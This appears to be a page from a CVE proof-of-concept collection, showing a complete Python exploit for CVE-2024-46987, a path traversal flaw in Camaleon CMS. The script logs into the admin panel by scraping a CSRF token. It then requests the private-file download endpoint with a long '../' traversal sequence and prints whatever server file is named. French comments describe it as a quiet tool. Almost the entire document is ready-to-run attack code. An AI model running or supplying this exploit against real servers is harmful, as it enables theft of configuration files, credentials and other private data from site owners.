4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2024-46987.py PY
#!/usr/bin/env python3
import requests
import argparse
import re
import sys
from urllib3 import disable_warnings

disable_warnings()

class CamaleonLFI:
    def __init__(self, url, user, password, endpoint, verbose=False):
        self.url = url.rstrip('/')
        self.user = user
        self.password = password
        self.endpoint = endpoint
        self.verbose = verbose
        self.session = requests.Session()
        self.session.verify = False

    def log(self, message):
        if self.verbose:
            print(f"[*] {message}", file=sys.stderr)

    def get_token(self, url):
        r = self.session.get(url)
        match = re.search(r'name="authenticity_token" value="([^"]+)"', r.text)
        return match.group(1) if match else None

    def login(self):
        login_url = f"{self.url}/admin/login"
        self.log(f"Récupération du token sur {login_url}")
        
        token = self.get_token(login_url)
        if not token:
            self.log("Erreur: Token CSRF introuvable.")
            return False

        data = {
            'authenticity_token': token,
            'user[username]': self.user,
            'user[password]': self.password
        }
        
        r = self.session.post(login_url, data=data, allow_redirects=True)
        success = 'logout' in r.text.lower() or r.status_code == 200
        
        if success:
            self.log("Authentification réussie.")
        else:
            self.log("Échec de l'authentification.")
        return success

    def read_file(self, target_file):
        traversal = "../../../../../../../../../.."
        lfi_url = f"{self.url}/{self.endpoint.lstrip('/')}"
        params = {'file': f"{traversal}{target_file}"}
        
        try:
            r = self.session.get(lfi_url, params=params)
            if r.status_code == 200:
                # On affiche uniquement le résultat brut
                print(r.text, end='')
            else:
                self.log(f"Erreur HTTP {r.status_code}")
        except Exception as e:
            self.log(f"Erreur de connexion: {e}")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="LFI Camaleon - Silencieux")
    parser.add_argument("-u", "--url", required=True, help="URL cible")
    parser.add_argument("-l", "--user", required=True, help="Username")
    parser.add_argument("-p", "--password", required=True, help="Password")
    parser.add_argument("--path", default="admin/media/download_private_file", help="Endpoint LFI")
    parser.add_argument("-v", "--verbose", action="store_true", help="Mode verbeux")
    parser.add_argument("file", help="Fichier à lire")

    args = parser.parse_args()

    lfi = CamaleonLFI(args.url, args.user, args.password, args.path, args.verbose)
    if lfi.login():
        lfi.read_file(args.file)